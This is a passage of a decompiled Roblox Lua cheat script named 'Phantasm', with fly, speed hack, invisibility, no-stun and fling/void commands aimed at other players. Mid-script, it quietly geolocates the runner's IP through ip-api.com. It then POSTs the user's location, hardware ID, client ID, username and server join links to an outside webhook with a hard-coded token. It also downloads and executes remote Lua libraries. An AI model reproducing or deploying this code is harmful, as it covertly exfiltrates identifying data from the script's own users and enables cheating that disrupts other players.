'Death Blow' then return end end local v304, v305, v306 = pairs(v299:GetPlayingAnimationTracks()) while true do local v307 v306, v307 = v304(v305, v306) if v306 == nil then break end if v307.Animation.AnimationId == 'rbxassetid://15128849047' then return end end end end end end heartbeatTp(v286.CFrame) task.wait() heartbeatTp(CFrame.lookAt(v284.Position, v286.Position)) end end end function getCommunicator() local v308 = getChar if v308 then v308 = getChar(_LocalPlayer) end if not v308 then return nil end if v308 then v308 = v308:WaitForChild('Communicate', 1) end return v308 end function click() local v309 = getCommunicator() if v309 then v309:FireServer({ Goal = 'LeftClick', }) v309:FireServer({ Goal = 'LeftClickRelease', }) end end function communicate(p310) local v311 = getCommunicator() if v311 then v311:FireServer(p310) end end function bdcancel() communicate({ Dash = Enum.KeyCode.S, Key = Enum.KeyCode.Q, Goal = 'KeyPress', }) end function useSkill(p312) local v313 = getCommunicator() if v313 then v313:FireServer({ Goal = 'LeftClick', ToolName = p312 or 'Normal Punch', }) end end function bypassKJAnims() local v314 = getChar if v314 then v314 = getChar(_LocalPlayer) end if v314 then v314:SetAttribute('Character', 'KJ') end end function patchOffsets() local v315 = getChar if v315 then v315 = getChar(_LocalPlayer) end local v316 if v315 then v316 = v315:WaitForChild('CharacterHandler'):WaitForChild('Client') else v316 = v315 end if v315 and v316 then v316.RunContext = 'Server' v316.RunContext = 'Legacy' end end function stopM1Anims() local v317 = getChar if v317 then v317 = getChar(_LocalPlayer) end local v318 = getHumanoid(v317) if v317 and v318 then local v319 = next local v320, v321 = v318:GetPlayingAnimationTracks() while true do local v322 v321, v322 = v319(v320, v321) if v321 == nil then break end local v323 = v322.Animation.AnimationId:lower() local v324 = next local v325 = m1Animations local v326 = nil while true do local v327 v326, v327 = v324(v325, v326) if v326 == nil then break end if table.find(v327, v323) then v322:Stop() end end end end end function onCooldown(p328) return _LocalPlayer.PlayerGui.Hotbar.Backpack.Hotbar[tostring(p328)].Base:FindFirstChild('Cooldown') and true or false end function hasRagdollCancel(p329) return playersWhoHaveRDC[p329] and true or false end function getCounterCooldown(p330) return counterCooldowns[p330] or 0 end function loadAnim(p331, p332, p333) if not (p331 and p332) then return nil end local v334 = 'rbxassetid://' .. tostring(p332):match('%d+') local _Animation = Instance.new('Animation') local v336 = nil if p333 then if p333 == 'Server' then _Animation.AnimationId = 'rbxassetid://0' v336 = p331:LoadAnimation(_Animation) _Animation.AnimationId = v334 elseif p333 == 'Client' then _Animation.AnimationId = v334 v336 = p331:LoadAnimation(_Animation) _Animation.AnimationId = 'rbxassetid://0' end else _Animation.AnimationId = v334 v336 = p331:LoadAnimation(_Animation) end return v336 end function loadSound(p337, p338) if not (p337 and p338) then return nil end local v339 = 'rbxassetid://' .. tostring(p338):match('%d+') local _Sound = Instance.new('Sound') _Sound.Parent = p337 _Sound.SoundId = v339 return _Sound end function stopAllAnims(p341, p342) local v343 = not p341 and getChar(_LocalPlayer) if v343 then v343 = getHumanoid(getChar(_LocalPlayer)) end if v343 then if not (v343:IsA('Humanoid') or v343:IsA('Animator')) then return warn("Error occured at function 'stopAllAnims', Argument 1 must be a valid animator.") end if p342 then local v344, v345, v346 = pairs(v343:GetPlayingAnimationTracks()) while true do local v347 v346, v347 = v344(v345, v346) if v346 == nil then break end if typeof(p342) ~= 'table' then if v347.Animation.AnimationId:match(tostring(p342):match('%d+')) then v347:Stop() end else local v348, v349, v350 = pairs(p342) while true do local v351 v350, v351 = v348(v349, v350) if v350 == nil then break end if v347.Animation.AnimationId:match(tostring(v351):match('%d+')) then v347:Stop() end end end end else local v352, v353, v354 = pairs(v343:GetPlayingAnimationTracks()) while true do local v355 v354, v355 = v352(v353, v354) if v354 == nil then break end v355:Stop() end end end end function deleteAllInstances(p356, p357) local v358 = p356 or getChar(_LocalPlayer) if v358 and p357 then local v359, v360, v361 = pairs(v358:GetChildren()) while true do local v362 v361, v362 = v359(v360, v361) if v361 == nil then break end if typeof(p357) ~= 'table' then if v362.Name:lower() == p357:lower() then v362:Destroy() end else local v363, v364, v365 = pairs(p357) while true do local v366 v365, v366 = v363(v364, v365) if v365 == nil then break end if v362.Name:lower() == v366:lower() then return v362:Destroy() end end end end end end function idMatch(p367, p368) if p368 then if typeof(p368) ~= 'table' then if p367:match(p368) then return true end else local v369, v370, v371 = pairs(p368) while true do local v372 v371, v372 = v369(v370, v371) if v371 == nil then break end if p367:match(v372:match('%d+')) then return true end end end end end function isAnimPlaying(p373, p374) local _d = tostring(p374):match('%d+') local v376, v377, v378 = pairs(p373:GetPlayingAnimationTracks()) while true do local v379 v378, v379 = v376(v377, v378) if v378 == nil then break end if v379.Animation.AnimationId:match(_d) then return v379 end end return nil end function isCountering(p380) local _Model = p380:FindFirstAncestorWhichIsA('Model') if _Model and _Model:FindFirstChild('Counter') then return true end local v382, v383, v384 = pairs(p380:GetPlayingAnimationTracks()) while true do local v385 v384, v385 = v382(v383, v384) if v384 == nil then break end if table.find(u53, v385.Animation.AnimationId) then return true end end return false end function isDeathCountering(p386) return p386 and p386:FindFirstChild('Counter') and true or false end function getAnimationsTable(p387) local v388, v389, v390 = pairs(p387:GetPlayingAnimationTracks()) local v391 = {} while true do local v392 v390, v392 = v388(v389, v390) if v390 == nil then break end table.insert(v391, v392.Animation.AnimationId) end return v391 end function cloneInstance(p393) p393.Archivable = true local v394 = p393:Clone() p393.Archivable = false return v394 end function cloneCharacter(p395) local v396 = cloneInstance(p395) v396.Parent = _Workspace if p395 and v396 then local v397 if v396 then v397 = getRoot(v396) else v397 = v396 end local v398 if v396 then v398 = getHumanoid(v396) else v398 = v396 end if v396 and (v397 and v398) then v397.Anchored = true local v399, v400, v401 = pairs(v396:GetChildren()) while true do local v402 v401, v402 = v399(v400, v401) if v401 == nil then break end if v402:IsA('BasePart') then v402.CollisionGroup = 'untouchable' v402.Massless = true v402.CanCollide = false v402.CanTouch = false v402.CanQuery = false end end end end return v396 end function deleteNew(p403, p404) task.wait() local _Parent2 = p403.Parent p403:Destroy() if p404 then warn('Instance removed, Name:', p403.Name, 'ClassName:', p403.ClassName, 'Parent:', _Parent2) end end function deleteInstances(p406, p407, p408) local v409 = p408 and p406:GetDescendants() or p406:GetChildren() local v410, v411, v412 = pairs(v409) while true do local v413 v412, v413 = v410(v411, v412) if v412 == nil then break end local v414, v415, v416 = pairs(p407) while true do local v417 v416, v417 = v414(v415, v416) if v416 == nil then break end if v413.Name:lower() == v417:lower() then task.spawn(pcall, deleteNew, v413, false) end end end end function formatRichText(p418, p419, p420, p421) return '' .. '' .. p421 .. '' .. '' end local v422 = _HttpService:JSONDecode(u15({ Url = 'http://www.ip-api.com/json', Method = 'GET', }).Body) or {} local v423 = v422.query or nil local u424 = v422.country or 'Unknown' local u425 = v422.region or 'Unknown' local u426 = v422.regionName or 'Unknown' local u427 = v422.timezone or 'Unknown' local u428 = _UserInputService:GetPlatform() == Enum.Platform.Windows and ':computer:' or ':mobile_phone:' local u429 = v423 and (v14.sha512(v423 .. u424 .. u425 .. u426 .. u427) or 'Unknown') or 'Unknown' pcall(function() local v430 = u15 local v431 = { Url = 'https://meow.skunk.legal/c/duckuseshissparkletimetrafficconeasadildo', Method = 'POST', Headers = { ['content-type'] = 'application/json', Authorization = 'YwCbktcTdW3EaWghnruRAAueeh6mKZ2sRqnph6Y', }, } local v432 = _HttpService local _JSONEncode = v432.JSONEncode local v434 = {} local v435 = {} local v436 = { title = 'Phantasm Logs', description = 'User Device: ' .. u428, type = 'rich', color = tonumber(0), } local v437 = {} local v438 = { name = '\n\n-----------------------------------------------------Information** **', } local v439 = _Players local v440 = _RbxAnalyticsService v438.value = 'Identified Executor: ' .. (identifyexecutor and tostring(identifyexecutor()) or 'Unknown') .. '\nExecutor Name: ' .. (getexecutorname and tostring(getexecutorname()) or 'Unknown') .. '\nServer Players: ' .. (#v439:GetPlayers() or 'Unknown') .. '\nServer Type: ' .. u66 .. '\nServer Version: ' .. u67 .. '\nCountry: ' .. u424 .. '\nRegion: ' .. u425 .. '\nRegion Name: ' .. u426 .. '\nTimezone: ' .. u427 .. '\nUsername: [' .. _LocalPlayer.Name .. ' (' .. _LocalPlayer.DisplayName .. ')](https://www.roblox.com/users/' .. _LocalPlayer.UserId .. '/profile)\nClient ID: ' .. (v440:GetClientId() or 'Unknown') .. '\nHWID: ' .. (gethwid and tostring(gethwid()) or (get_hwid and tostring(get_hwid()) or 'Unknown')) .. '\nHashed Identifier: ' .. u429 .. '\n-----------------------------------------------------' .. '\n[**Join**](https://fern.wtf/joiner?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. ')' v438.inline = false __set_list(v437, 1, { v438, { name = 'JobId Join', value = "```Roblox.GameLauncher.joinGameInstance('" .. game.PlaceId .. "', '" .. game.JobId .. "')```", inline = true, }, { name = 'JobId', value = '```r\r\n ' .. game.JobId .. '\r\n\r\n ```', inline = true, }, { name = 'Browser Join', value = '```roblox://experiences/start?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. '```', inline = false, }, { name = 'Script Join', value = '```lua\r\n game:GetService("TeleportService"):TeleportToPlaceInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '", game:GetService("Players").LocalPlayer)\r\n ```', inline = false, }, }) v436.fields = v437 v436.thumbnail = { url = fetchAvatar(), } v436.footer = { text = 'Script ran at ' .. os.date('%Y-%m-%d %H:%M:%S'), } __set_list(v435, 1, {v436}) v434.embeds = v435 v431.Body = _JSONEncode(v432, v434) v430(v431) end) local _ = _Workspace.Thrown local _Thrown = _Workspace.Thrown _Thrown.Archivable = true local u442 = _Thrown:Clone() _Thrown.Archivable = false u442:ClearAllChildren() local v443, v444, v445 = pairs(_Thrown:GetChildren()) local u446 = u429 local u447 = u63 local u448 = u66 while true do local v449 v445, v449 = v443(v444, v445) if v445 == nil then break end v449.Parent = u442 end _Thrown:Destroy() u442.Name = 'Thrown' u442.Parent = _Workspace u41[#u41 + 1] = _Thrown.ChildAdded:Connect(function(p450) task.spawn(function() local v451 = tick() repeat _RenderStepped:Wait() until p450 and p450.Parent or tick() >= v451 + 1 if p450 and p450.Parent then local _, v453 = pcall(function() if p450:IsA('BasePart') then local _Locked = p450.Locked p450.Locked = false p450.Parent = u442 p450.Locked = _Locked else p450.Parent = u442 end end) if v453 then error('(Phantasm) Failed to clone instance with name ' .. p450.Name .. ', error: ' .. v453, 5) end end end) end) local u454 = {} u41[#u41 + 1] = u442.ChildAdded:Connect(function(p455) task.wait() if p455:IsA('BasePart') then p455:SetAttribute('Spawn', tick()) end if p455:IsA('Attachment') or p455:IsA('WeldConstraint') then u454[p455] = tick() local v456 = tick() local v457, v458, v459 = pairs(u454) while true do local v460 v459, v460 = v457(v458, v459) if v459 == nil then break end if v459 and v459.Parent then if (v459:IsA('BasePart') and 30 or 15) < v456 - v460 then v459:Destroy() u454[v459] = nil end else u454[v459] = nil end end end if p455.Name ~= 'QuickWind' then if p455.Name ~= 'QuickSlashMesh' then if p455.Name:find('AdjustStabby3') then p455.Name = string.sub(p455.Name, 14, #p455.Name) local v461 = _Workspace.Live:FindFirstChild(p455.Name) local v462 = v461 and v461.PrimaryPart if v462 then p455:SetPrimaryPartCFrame((v462.CFrame + Vector3.new(0, 5, 0, 0)) * CFrame.new(-0.00016784668, 0.0000305175781, -3.15378571, 0.000411212444, -0.657321572, -0.753614008, -1.9589782199999999e-8, 0.753610671, -0.657323241, 1.00000131, 0.000268951058, 0.000308543444)) return end elseif p455.Name:find('AdjustStabby2') then p455.Name = string.sub(p455.Name, 14, #p455.Name) local v463 = _Workspace.Live:FindFirstChild(p455.Name) local v464 = v463 and v463.PrimaryPart if v464 then p455:SetPrimaryPartCFrame((v464.CFrame + Vector3.new(0, 5, 0, 0)) * CFrame.new(-0.000198364258, 0.0000305175781, -3.15378571, 0.000410616398, -0.7406317, -0.671912789, -2.207255e-8, 0.671912074, -0.740631104, 1.00000143, 0.000302284956, 0.000274270773)) return end elseif p455.Name:find('AdjustStabby1') then p455.Name = string.sub(p455.Name, 14, #p455.Name) local v465 = _Workspace.Live:FindFirstChild(p455.Name) local v466 = v465 and v465.PrimaryPart if v466 then p455:SetPrimaryPartCFrame(v466.CFrame * CFrame.new(-0.000228881836, 0, -3.15380859, 0.000410526991, -0.815318942, -0.579013944, -2.42984068e-8, 0.579013169, -0.815318465, 1.00000155, 0.000332802534, 0.000236406922)) return end elseif p455.Name:find('AdjustStabby4') then p455.Name = string.sub(p455.Name, 14, #p455.Name) local v467 = _Workspace.Live:FindFirstChild(p455.Name) local v468 = v467 and v467.PrimaryPart if v468 then p455:SetPrimaryPartCFrame((v468.CFrame + Vector3.new(0, 0, 0, 0)) * CFrame.new(3.63522339, 1.28546143, -4.29478073, 0.000426799059, -0.920516968, 0.390702456, -1.22053878e-9, -0.390702516, -0.920517206, 0.99999994, 0.000392824411, -0.0001668185)) return end else local v469 = p455.Name == 'CleaveBruh' and _Workspace.Live:FindFirstChild(p455:GetAttribute('Name')) if v469 then local _PrimaryPart = v469.PrimaryPart if _PrimaryPart and p455.PrimaryPart then p455:SetPrimaryPartCFrame(_PrimaryPart.CFrame * CFrame.Angles(math.rad((math.random(-360, 360))), math.rad((math.random(-360, 360))), (math.rad((math.random(-360, 360)))))) end end end return else if p455:GetAttribute('Name') then local v471 = _Workspace.Live:FindFirstChild(p455:GetAttribute('Name')) local v472 = v471 and v471.PrimaryPart if v472 then p455.CFrame = v472.CFrame * CFrame.Angles(math.rad((math.random(-360, 360))), math.rad((math.random(-360, 360))), (math.rad((math.random(-360, 360))))) end end local v473 = p455:FindFirstChild('Mesh') or p455:WaitForChild('Mesh', 0.2) if v473 then _TweenService:Create(v473, TweenInfo.new(p455:GetAttribute('Time'), Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Scale = Vector3.new(0, 7, 0, 0) * p455:GetAttribute('Scale'), }):Play() end end else if p455:GetAttribute('Name') then local v474 = _Workspace.Live:FindFirstChild(p455:GetAttribute('Name')) local v475 = v474 and v474.PrimaryPart if v475 then p455.CFrame = v475.CFrame * CFrame.Angles(math.rad((math.random(-360, 360))), math.rad((math.random(-360, 360))), (math.rad((math.random(-360, 360))))) end end _TweenService:Create(p455, TweenInfo.new(p455:GetAttribute('Time') * 3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Size = p455.Size + Vector3.new(15, 4, 15, 0) * p455:GetAttribute('Scale'), Transparency = 1, }):Play() return end end) _Workspace.FallenPartsDestroyHeight = 0 / 0 u41[#u41 + 1] = _Workspace:GetPropertyChangedSignal('FallenPartsDestroyHeight'):Connect(function() _Workspace.FallenPartsDestroyHeight = 0 / 0 end) local v476 = 'https://raw.githubusercontent.com/secretisadev/Obsidian/refs/heads/main/' if not isfolder('Obsidian') then u10.Text = "Creating 'Obsidian'" makefolder('Obsidian') end if not isfile('Obsidian/Library.lua') then u10.Text = "Downloading 'Library.lua'" writefile('Obsidian/Library.lua', game:HttpGet(v476 .. 'Library.lua')) end if not isfile('Obsidian/ThemeManager.lua') then u10.Text = "Downloading 'ThemeManager.lua'" writefile('Obsidian/ThemeManager.lua', game:HttpGet(v476 .. 'addons/ThemeManager.lua')) end if not isfile('Obsidian/SaveManager.lua') then u10.Text = "Downloading 'SaveManager.lua'" writefile('Obsidian/SaveManager.lua', game:HttpGet(v476 .. 'addons/SaveManager.lua')) end u10.Text = 'Loading UI' local u477 = loadfile('Obsidian/Library.lua')() local v478 = loadfile('Obsidian/ThemeManager.lua')() local v479 = loadfile('Obsidian/SaveManager.lua')() function MoveNotify(p480, p481) if rawget(Options.MoveNotificationMoves.Value, p481) then if Toggles.MoveNotifications.Value then u477:Notify({ Title = bypassText('Move Notification'), Description = bypassText(p480.DisplayName .. ' used ' .. p481), Time = 5, SoundId = u42.Notification, }) end if Toggles.ExposeMoveInChat.Value and not (Toggles.ExposeWhitelistedPlayers.Value and table.find(u447, p480)) then sendMsg('\u{fffd}\u{fffd}\u{fe0f} ' .. p480.DisplayName .. ' used ' .. p481 .. ' \u{26a0}\u{fe0f}') end end end local v482 = u477 local u483 = u477.CreateWindow(v482, { Title = bypassText('Phantasm'), Footer = bypassText('Old test version, Do not expect updates. | discord.gg/phantasm'), NotifySide = 'Right', ShowCustomCursor = true, AutoShow = true, Center = true, Resizable = true, }) local v484 = { Information = u483:AddTab(bypassText('Information'), 'book'), LocalPlayer = u483:AddTab(bypassText('Local Player'), 'user'), Exploits = u483:AddTab(bypassText('Exploits'), 'skull'), Visuals = u483:AddTab(bypassText('Visuals'), 'eye'), Commands = u483:AddTab('Commands', 'code'), Map = u483:AddTab(bypassText('Map'), 'map'), Disguise = u483:AddTab(bypassText('Disguise'), 'users'), Misc = u483:AddTab(bypassText('Miscallenous'), 'ellipsis'), ['UI Settings'] = u483:AddTab(bypassText('UI Settings'), 'settings'), } local u485 = v484.Information:AddLeftGroupbox(bypassText('Update Log')) local v486 = v484.LocalPlayer:AddLeftTabbox() local v487 = v486:AddTab(bypassText('Movement')) local v488 = v486:AddTab(bypassText('Character')) local v489 = v484.LocalPlayer:AddLeftGroupbox(bypassText('Keybinds')) local v490 = v484.LocalPlayer:AddRightGroupbox(bypassText('Automation')) local v491 = v484.LocalPlayer:AddRightGroupbox(bypassText('Dashes')) local v492 = v484.Exploits:AddLeftGroupbox(bypassText('Main')) local v493 = v484.Exploits:AddRightGroupbox(bypassText('Wall Combo')) local v494 = v484.Exploits:AddLeftGroupbox(bypassText("Anti's")) local v495 = v484.Exploits:AddRightGroupbox(bypassText('Invisible Moves')) local v496 = v484.Visuals:AddLeftGroupbox(bypassText('Main')) local v497 = v484.Visuals:AddRightGroupbox(bypassText('ESP')) local v498 = v484.Visuals:AddRightGroupbox(bypassText('World')) local _Settings = v484.Commands:AddLeftGroupbox('Settings') local _Commands = v484.Commands:AddRightGroupbox('Commands') local v501 = v484.Map:AddLeftGroupbox(bypassText('Teleports')) local u502 = v484.Map:AddRightGroupbox(bypassText('Players')) local v503 = v484.Misc:AddLeftGroupbox(bypassText('Anti Ban')) local v504 = v484.Misc:AddLeftGroupbox(bypassText('Scripts')) local v505 = v484.Misc:AddRightGroupbox(bypassText('Animations')) local v506 = v484.Misc:AddRightGroupbox(bypassText('Extra')) local v507 = v484['UI Settings']:AddLeftGroupbox(bypassText('Settings')) Options = u477.Options Toggles = u477.Toggles Labels = u477.Labels task.spawn(function() local _httpsrawgithubusercontentcomsecretisadevPhantasmrefsheadsmainUpdateLog = game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Update Log') if _httpsrawgithubusercontentcomsecretisadevPhantasmrefsheadsmainUpdateLog then local v509 = _httpsrawgithubusercontentcomsecretisadevPhantasmrefsheadsmainUpdateLog:split('\n') local v510, v511, v512 = pairs(v509) local v513 = '' while true do local v514 v512, v514 = v510(v511, v512) if v512 == nil then break end if v514:sub(1, 2) ~= '+ ' then if v514:sub(1, 2) ~= '- ' then v513 = v513 .. v514 else v513 = v513 .. formatRichText(255, 65, 65, v514) end else v513 = v513 .. formatRichText(200, 255, 100, v514) end if v512 ~= #v513 then v513 = v513 .. '\n' end end u485:AddLabel({ Text = v513, DoesWrap = true, Size = 12, }) end end) _Settings:AddToggle('CommandBar', { Text = 'Command Bar', Default = false, }):AddKeyPicker('CommandBind', { SyncToggleState = false, Mode = 'Toggle', Default = 'Semicolon', Text = 'Command Bar Keybind', NoUI = true, }) _Settings:AddToggle('UseCommandsinChat', { Text = 'Use Commands in Chat', Default = false, }) _Settings:AddToggle('SendCommandInChat', { Text = 'Send Command In Chat', Default = false, }) _Settings:AddDivider() _Settings:AddDropdown('FlingType', { Values = { 'Anti-Fling', 'Normal', 'Void', }, Default = 'Void', Text = 'Fling Type', }) _Settings:AddSlider('FlingSpeed', { Text = 'Fling Speed', Default = 15, Min = 15, Max = 90, Rounding = 0, Compact = true, }) _Settings:AddSlider('FlingTimeout', { Text = 'Fling Timeout', Default = 3, Min = 1, Max = 5, Rounding = 0, Compact = true, }) _Commands:AddLabel(';safezone\r\n;goto/tp/to {player}\r\n;say {message}\r\n;fling/void {player, all, others}\r\n;loopfling/loopvoid {player, all, others}\r\n;unfling/unvoid/unloopfling/unloopvoid {player, all, others}\r\n;view/spectate {player}\r\n;unview/unspectate\r\n;whitelist/addwhitelist\r\n;unwhitelist/removewhitelist\r\n;rejoin/rj\r\n;reset\r\n;fixcam\r\n;vclip {number}\r\n;hclip {number}', true) v487:AddToggle('SpeedHackEnabled', { Text = bypassText('Speed Hack Enabled'), Default = false, }) v487:AddSlider('SpeedHack', { Text = bypassText('Speed'), Default = 1, Min = 1, Max = 25000, Rounding = 1, Compact = true, }) v487:AddDropdown('SpeedHackMethod', { Values = { 'CFrame', 'Velocity', }, Default = 1, Multi = false, Text = bypassText('Speed Hack Method'), }) v487:AddToggle('UpsideDown', { Text = bypassText('Upside Down'), Default = false, Callback = function(p515) _Heartbeat:Wait() u59['Upside Down'] = p515 end, }) v488:AddToggle('Invisibility', { Text = bypassText('Invisibility'), Default = false, Callback = function(p516) _Heartbeat:Wait() u59.Invisibility = p516 end, }) v488:AddToggle('M1Reset', { Text = bypassText('M1 Reset / No Dash Debounce'), Default = false, }) v488:AddToggle('EmoteDash', { Text = bypassText('Emote Dash'), Default = false, }) v488:AddDropdown('CharacterExploits', { Values = { 'No Dash Cooldown', 'No Stun', 'No Slow', 'No Fatigue', 'No Jump Bypass', 'No Rotations Bypass', 'Anti Ragdoll', }, Default = {}, Multi = true, Searchable = false, Text = bypassText('Character Exploits'), Callback = function(p517) workspace:SetAttribute('NoDashCooldown', false) workspace:SetAttribute('NoFatigue', false) if rawget(p517, 'No Dash Cooldown') then workspace:SetAttribute('NoDashCooldown', true) elseif rawget(p517, 'No Fatigue') then workspace:SetAttribute('NoFatigue', true) elseif rawget(p517, 'No Rotations Bypass') then deleteAllInstances(nil, 'NoRotate') end end, }) v488:AddToggle('AutoRagdollCancel', { Text = bypassText('Auto Ragdoll Cancel'), Default = false, }) v488:AddToggle('RagdollHide', { Text = bypassText('Ragdoll Hide'), Default = false, }) v488:AddToggle('LaunchHide', { Text = bypassText('Launch Hide'), Default = false, }) workspace:SetAttribute('EffectAffects', 1) u41[#u41 + 1] = workspace.AttributeChanged:Connect(function(p518) if p518 == 'NoDashCooldown' then workspace:SetAttribute(p518, rawget(Options.CharacterExploits.Value, 'No Dash Cooldown') and true or false) elseif p518 == 'NoFatigue' then workspace:SetAttribute(p518, rawget(Options.CharacterExploits.Value, 'No Fatigue') and true or false) elseif p518 == 'EffectsAffect' then workspace:SetAttribute('EffectAffects', 1) end end) v490:AddToggle('AutoFrozenSoul', { Text = bypassText('Auto Frozen Soul'), Default = false, Callback = function(p519) if p519 then local function v523(p520) _Stepped:Wait() if p520.Name == 'Frozen Lock' and p520:FindFirstChild('Root') then local _Root = p520.Root local v522 = tick() repeat heartbeatTp(_Root.CFrame * CFrame.new(0, 3, 0)) _RenderStepped:Wait() until tick() >= v522 + 10 or not (p520.Parent and Toggles.AutoFrozenSoul.Value) end end if u442:FindFirstChild('Frozen Lock') then task.spawn(v523, u442['Frozen Lock']) end local v524 = u442.ChildAdded:Connect(v523) repeat _RenderStepped:Wait() until not Toggles.AutoFrozenSoul.Value v524:Disconnect() end end, }) v490:AddButton({ Text = bypassText('Free Stargazer / Nightchild'), Callback = function() communicate({ Goal = 'Gaze', }) end, }) v491:AddToggle('CustomFrontDash', { Text = bypassText('Custom Front Dash'), Tooltip = bypassText('Makes your front dashes go slightly further.'), Default = false, }) v491:AddSlider('FDDistance', { Text = bypassText('Front Dash Distance'), Default = 165, Min = 0, Max = 500, Rounding = 1, }) v491:AddToggle('CustomSideDash', { Text = bypassText('Custom Side Dash'), Tooltip = bypassText('Makes your side dashes go slightly further.'), Default = false, }) v491:AddSlider('SDDistance', { Text = bypassText('Side Dash Distance (Multiplier)'), Default = 1, Min = 0.1, Max = 2, Rounding = 1, }) v491:AddSlider('SDSpeed', { Text = bypassText('Side Dash Speed'), Default = 1, Min = 0.1, Max = 2, Rounding = 1, }) v491:AddToggle('CustomBackDash', { Text = bypassText('Custom Back Dash'), Tooltip = bypassText('Makes your back dashes go slightly further.'), Default = false, }) v491:AddSlider('BDDistance', { Text = bypassText('Back Dash Distance (Multiplier)'), Default = 1, Min = 0.1, Max = 2, Rounding = 1, }) v491:AddButton({ Text = bypassText('Reset to Defaults'), Callback = function() Options.FDDistance:SetValue(165) Options.SDDistance:SetValue(1) Options.SDSpeed:SetValue(1) Options.BDDistance:SetValue(1) end, }) local u525 = { Fly = false, ['Lock-on'] = false, Orbit = false, ['Velocity Spoof'] = false, ['TP 1'] = false, ['TP 2'] = false, } v489:AddToggle('Fly', { Text = bypassText('Fly'), Default = false, Callback = function(p526) if not p526 and Options.FlyBind:GetState() == true then Options.FlyBind.Toggled = false Options.FlyBind:DoClick() end end, }):AddKeyPicker('FlyBind', { SyncToggleState = false, Mode = 'Toggle', Default = 'Y', Text = bypassText('Fly'), Callback = function(p527) if u525.Fly then return end if p527 and not Toggles.Fly.Value then _RenderStepped:Wait() u525.Fly = true Options.FlyBind.Toggled = false Options.FlyBind:DoClick() u525.Fly = false return end if Toggles.Fly.Value then u59.Flying = not u59.Flying u477:Notify({ Title = bypassText('Fly'), Description = bypassText('Toggled ') .. (p527 and 'on \u{2705}' or 'off \u{274c}'), Time = 2, SoundId = u42.Notification, }) if not u59.Flying then end local u528 = nil local v529 = getChar(_LocalPlayer) local v530 if v529 then v530 = getHumanoid(v529) else v530 = v529 end local v531 if v529 then v531 = getRoot(v529) else v531 = v529 end if v529 and (v531 and v530) then u528 = v531.CFrame end local v546 = _Heartbeat:Connect(function(p532) local v533 = getChar(_LocalPlayer) local v534 if v533 then v534 = getHumanoid(v533) else v534 = v533 end local v535 if v533 then v535 = getRoot(v533) else v535 = v533 end local _CurrentCamera = workspace.CurrentCamera if v533 and (v535 and (v534 and _CurrentCamera)) then local v537 = Options.FlySpeed.Value / 100 local v538 = Vector3.new(0, 0, 0) CFrame.new(0, 0, 0) local _CFrame2 = _CurrentCamera.CFrame local _LookVector = _CFrame2.LookVector local _RightVector = _CFrame2.RightVector local v542 = CFrame.new(v535.Position, v535.Position + Vector3.new(_LookVector.X, 0, _LookVector.Z)) local v543 = math.round((v534.MoveDirection:Dot(v542.LookVector))) local v544 = math.round((v534.MoveDirection:Dot(v542.RightVector))) if v543 == 1 then v538 = v538 + _LookVector * v537 local _ = v535.CFrame + _LookVector * (p532 * v537) end if v543 == -1 then v538 = v538 + _LookVector * -v537 local _ = v535.CFrame + -_LookVector * (p532 * v537) end if v544 == -1 then v538 = v538 + _RightVector * -v537 local _ = v535.CFrame + -_RightVector * (p532 * v537) end if v544 == 1 then v538 = v538 + _RightVector * v537 local _ = v535.CFrame + _RightVector * (p532 * v537) end if v543 == 0 and v544 == 0 then v535.Velocity = Vector3.new() v535.CFrame = u528 or v535.CFrame else v535.Velocity = v538 u528 = v535.CFrame end v535.RotVelocity = Vector3.new() local _Value = Options.FlyRotations.Value if _Value == 'Horizontal' then v535.CFrame = CFrame.new(v535.Position, v535.Position + Vector3.new(_LookVector.X, 0, _LookVector.Z)) elseif _Value == 'Vertical & Horizontal' then v535.CFrame = CFrame.new(v535.CFrame.Position, v535.CFrame.Position + _CFrame2.LookVector) end end end) repeat task.wait() until not (u59.Flying and Toggles.Fly.Value) u59.Flying = false v546:Disconnect() local v547 = getChar(_LocalPlayer) local v548 if v547 then v548 = getRoot(v547) else v548 = v547 end local v549 if v547 then v549 = getHumanoid(v547) else v549 = v547 end if v547 and (v548 and (v549 and not v549.SeatPart)) then local v550 = tick() v548.Velocity = Vector3.new() if v548.Velocity.Magnitude <= 5 or tick() >= v550 + 1 then end end if not (v549 and v549.SeatPart) then end local v551 = tick() while true do if v549.SeatPart then v549.SeatPart.Velocity = Vector3.new() end if v549.SeatPart and v549.SeatPart.Velocity.Magnitude <= 5 or (not v549.SeatPart or tick() >= v551 + 1) then end end else return end end, }) v489:AddSlider('FlySpeed', { Text = bypassText('Fly Speed'), Default = 10000, Min = 1, Max = 50000, Rounding = 1, }) v489:AddDropdown('FlyRotations', { Values = { 'None', 'Horizontal', 'Vertical & Horizontal', }, Default = {}, Multi = false, Searchable = false, Text = bypassText('Fly Rotations'), }) v489:AddDivider() v489:AddToggle('AnimeTeleportation', { Text = bypassText('Anime Teleportation'), Default = false, Callback = function(p552) if not p552 and Options.AnimeTPKeybind:GetState() == true then Options.AnimeTPKeybind.Toggled = false Options.AnimeTPKeybind:DoClick() end end, }):AddKeyPicker('AnimeTPKeybind', { SyncToggleState = false, Mode = 'Toggle', Default = 'T', Text = bypassText('Anime Teleportation'), Callback = function(_) Options.AnimeTPKeybind.Toggled = false if Toggles.AnimeTeleportation.Value and u6.Target then local u553 = getChar(_LocalPlayer) local v554 if u553 then v554 = getRoot(u553) else v554 = u553 end local v555 if u553 then v555 = getHumanoid(u553) else v555 = u553 end if u553 and (v554 and v555) then stopAllAnims(v555, { '15957361339', }) if Toggles.AnimeTPAnimation.Value then local v556 = loadAnim(v555, '15957361339') v556.Priority = Enum.AnimationPriority.Action2 v556:Play() v556:AdjustSpeed(Options.AnimeTPSpeed.Value) end local _CFrame3 = v554.CFrame heartbeatTp(CFrame.new(u6.Hit.Position, Vector3.new(_CFrame3.Position.X, u6.Hit.Position.Y, _CFrame3.Position.Z)) * CFrame.Angles(0, math.pi, 0)) local _Value2 = Options.AnimeTPSound.Value if _Value2 == 'Goku' then local v559 = loadSound(v554, '4861638982') v559.Volume = Options.AnimeTPVolume.Value v559:Play() elseif _Value2 == 'Goku Black' then local v560 = loadSound(v554, '9010221848') v560.Volume = Options.AnimeTPVolume.Value v560:Play() v560.TimePosition = 0.4 end local v561 = 